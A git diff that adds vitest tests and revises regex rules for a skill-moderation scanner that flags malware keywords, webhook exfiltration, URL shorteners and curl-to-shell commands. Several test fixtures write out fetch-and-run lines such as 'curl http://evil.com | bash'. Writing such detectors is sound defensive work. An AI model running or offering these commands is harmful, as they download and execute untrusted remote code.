diff --git a/convex/lib/moderation.test.ts b/convex/lib/moderation.test.ts
new file mode 100644
index 000000000..78eba3be9
--- /dev/null
+++ b/convex/lib/moderation.test.ts
@@ -0,0 +1,250 @@
+import { describe, expect, test } from 'vitest'
+import { deriveModerationFlags } from './moderation'
+
+describe('deriveModerationFlags', () => {
+  test('flags malicious keywords', () => {
+    const flags = deriveModerationFlags({
+      skill: {
+        slug: 'test',
+        displayName: 'Test',
+        summary: 'This is malware that steals passwords',
+      },
+      parsed: { frontmatter: {} },
+      files: [],
+    })
+    expect(flags).toContain('suspicious.keyword')
+  })
+
+  test('flags phishing keywords', () => {
+    const flags = deriveModerationFlags({
+      skill: {
+        slug: 'test',
+        displayName: 'Test',
+        summary: 'Phishing tool for keylogger',
+      },
+      parsed: { frontmatter: {} },
+      files: [],
+    })
+    expect(flags).toContain('suspicious.keyword')
+  })
+
+  test('flags discord webhooks', () => {
+    const flags = deriveModerationFlags({
+      skill: {
+        slug: 'test',
+        displayName: 'Test',
+        summary: 'Send data to discord.gg/xyz',
+      },
+      parsed: { frontmatter: {} },
+      files: [],
+    })
+    expect(flags).toContain('suspicious.webhook')
+  })
+
+  test('flags slack webhooks', () => {
+    const flags = deriveModerationFlags({
+      skill: {
+        slug: 'test',
+        displayName: 'Test',
+        summary: 'Posts to hooks.slack.com',
+      },
+      parsed: { frontmatter: {} },
+      files: [],
+    })
+    expect(flags).toContain('suspicious.webhook')
+  })
+
+  test('flags curl | bash patterns', () => {
+    const flags = deriveModerationFlags({
+      skill: {
+        slug: 'test',
+        displayName: 'Test',
+        summary: 'Run curl http://evil.com | bash',
+      },
+      parsed: { frontmatter: {} },
+      files: [],
+    })
+    expect(flags).toContain('suspicious.script')
+  })
+
+  test('flags curl | sh patterns', () => {
+    const flags = deriveModerationFlags({
+      skill: {
+        slug: 'test',
+        displayName: 'Test',
+        summary: 'Execute curl http://evil.com | sh',
+      },
+      parsed: { frontmatter: {} },
+      files: [],
+    })
+    expect(flags).toContain('suspicious.script')
+  })
+
+  test('flags URL shorteners', () => {
+    const flags = deriveModerationFlags({
+      skill: {
+        slug: 'test',
+        displayName: 'Test',
+        summary: 'Download from bit.ly/abc',
+      },
+      parsed: { frontmatter: {} },
+      files: [],
+    })
+    expect(flags).toContain('suspicious.url_shortener')
+  })
+
+  test('flags tinyurl', () => {
+    const flags = deriveModerationFlags({
+      skill: {
+        slug: 'test',
+        displayName: 'Test',
+        summary: 'Get from tinyurl.com/xyz',
+      },
+      parsed: { frontmatter: {} },
+      files: [],
+    })
+    expect(flags).toContain('suspicious.url_shortener')
+  })
+
+  test('flags known malware patterns', () => {
+    const flags = deriveModerationFlags({
+      skill: {
+        slug: 'test',
+        displayName: 'ClawdAuthenticatorTool',
+        summary: 'Test',
+      },
+      parsed: { frontmatter: {} },
+      files: [],
+    })
+    expect(flags).toContain('blocked.malware')
+  })
+
+  // IMPORTANT: Test that legitimate auth patterns are NOT flagged
+  test('does NOT flag OAuth skills mentioning tokens', () => {
+    const flags = deriveModerationFlags({
+      skill: {
+        slug: 'openbotauth',
+        displayName: 'OpenBotAuth',
+        summary: 'Get a cryptographic identity for your AI agent. Uses GitHub OAuth tokens.',
+      },
+      parsed: { frontmatter: {} },
+      files: [],
+    })
+    expect(flags).not.toContain('suspicious.secrets')
+    expect(flags.length).toBe(0)
+  })
+
+  test('does NOT flag API integration skills mentioning API keys', () => {
+    const flags = deriveModerationFlags({
+      skill: {
+        slug: 'trello',
+        displayName: 'Trello',
+        summary: 'Trello integration. Requires TRELLO_API_KEY and TRELLO_TOKEN.',
+      },
+      parsed: { frontmatter: {} },
+      files: [],
+    })
+    expect(flags.length).toBe(0)
+  })
+
+  test('does NOT flag auth skills mentioning passwords', () => {
+    const flags = deriveModerationFlags({
+      skill: {
+        slug: 'database',
+        displayName: 'Database Connector',
+        summary: 'Connect to PostgreSQL. Requires username and password.',
+      },
+      parsed: { frontmatter: {} },
+      files: [],
+    })
+    expect(flags.length).toBe(0)
+  })
+
+  test('does NOT flag crypto wallet skills', () => {
+    const flags = deriveModerationFlags({
+      skill: {
+        slug: 'wallet',
+        displayName: 'Crypto Wallet',
+        summary: 'Manage your crypto wallet and seed phrase.',
+      },
+      parsed: { frontmatter: {} },
+      files: [],
+    })
+    expect(flags.length).toBe(0)
+  })
+
+  test('does NOT flag payment integration skills', () => {
+    const flags = deriveModerationFlags({
+      skill: {
+        slug: 'stripe',
+        displayName: 'Stripe',
+        summary: 'Accept payments. Requires Stripe API secret key.',
+      },
+      parsed: { frontmatter: {} },
+      files: [],
+    })
+    expect(flags.length).toBe(0)
+  })
+
+  test('combines multiple flags when multiple patterns match', () => {
+    const flags = deriveModerationFlags({
+      skill: {
+        slug: 'test',
+        displayName: 'Test',
+        summary: 'Malware stealer that posts to discord.gg webhooks via curl | bash from bit.ly',
+      },
+      parsed: { frontmatter: {} },
+      files: [],
+    })
+    expect(flags).toContain('suspicious.keyword')
+    expect(flags).toContain('suspicious.webhook')
+    expect(flags).toContain('suspicious.script')
+    expect(flags).toContain('suspicious.url_shortener')
+    expect(flags.length).toBe(4)
+  })
+
+  test('scans frontmatter metadata', () => {
+    const flags = deriveModerationFlags({
+      skill: {
+        slug: 'test',
+        displayName: 'Test',
+        summary: 'Normal description',
+      },
+      parsed: {
+        frontmatter: {
+          homepage: 'http://evil.com | curl | bash',
+        },
+      },
+      files: [],
+    })
+    expect(flags).toContain('suspicious.script')
+  })
+
+  test('scans file paths', () => {
+    const flags = deriveModerationFlags({
+      skill: {
+        slug: 'test',
+        displayName: 'Test',
+        summary: 'Normal description',
+      },
+      parsed: { frontmatter: {} },
+      // biome-ignore lint/suspicious/noExplicitAny: test mock value
+      files: [{ path: 'install-malware.sh', size: 100, storageId: 'abc' as any }],
+    })
+    expect(flags).toContain('suspicious.keyword')
+  })
+
+  test('returns empty array for clean skills', () => {
+    const flags = deriveModerationFlags({
+      skill: {
+        slug: 'weather',
+        displayName: 'Weather',
+        summary: 'Get weather data from wttr.in',
+      },
+      parsed: { frontmatter: {} },
+      // biome-ignore lint/suspicious/noExplicitAny: test mock value
+      files: [{ path: 'SKILL.md', size: 100, storageId: 'abc' as any }],
+    })
+    expect(flags.length).toBe(0)
+  })
+})
diff --git a/convex/lib/moderation.ts b/convex/lib/moderation.ts
index 095afdc6d..b51af1f31 100644
--- a/convex/lib/moderation.ts
+++ b/convex/lib/moderation.ts
@@ -8,12 +8,21 @@ const FLAG_RULES: Array<{ flag: string; pattern: RegExp }> = [
     pattern: /(keepcold131\/ClawdAuthenticatorTool|ClawdAuthenticatorTool)/i,
   },
 
+  // Malicious intent keywords
   { flag: 'suspicious.keyword', pattern: /(malware|stealer|phish|phishing|keylogger)/i },
-  { flag: 'suspicious.secrets', pattern: /(api[-_ ]?key|token|password|private key|secret)/i },
-  { flag: 'suspicious.crypto', pattern: /(wallet|seed phrase|mnemonic|crypto)/i },
+
+  // Data exfiltration patterns - webhooks are unusual in skills
   { flag: 'suspicious.webhook', pattern: /(discord\.gg|webhook|hooks\.slack)/i },
+
+  // Arbitrary code execution - curl | bash is dangerous
   { flag: 'suspicious.script', pattern: /(curl[^\n]+\|\s*(sh|bash))/i },
+
+  // URL obfuscation - shorteners hide destination
   { flag: 'suspicious.url_shortener', pattern: /(bit\.ly|tinyurl\.com|t\.co|goo\.gl|is\.gd)/i },
+
+  // Note: Removed overly broad patterns for "token", "api key", "password", "crypto", etc.
+  // These are common in legitimate auth/payment skills (OAuth, API integrations, crypto wallets).
+  // The LLM evaluator handles credential proportionality analysis (section 4 of security prompt).
 ]
 
 export function deriveModerationFlags({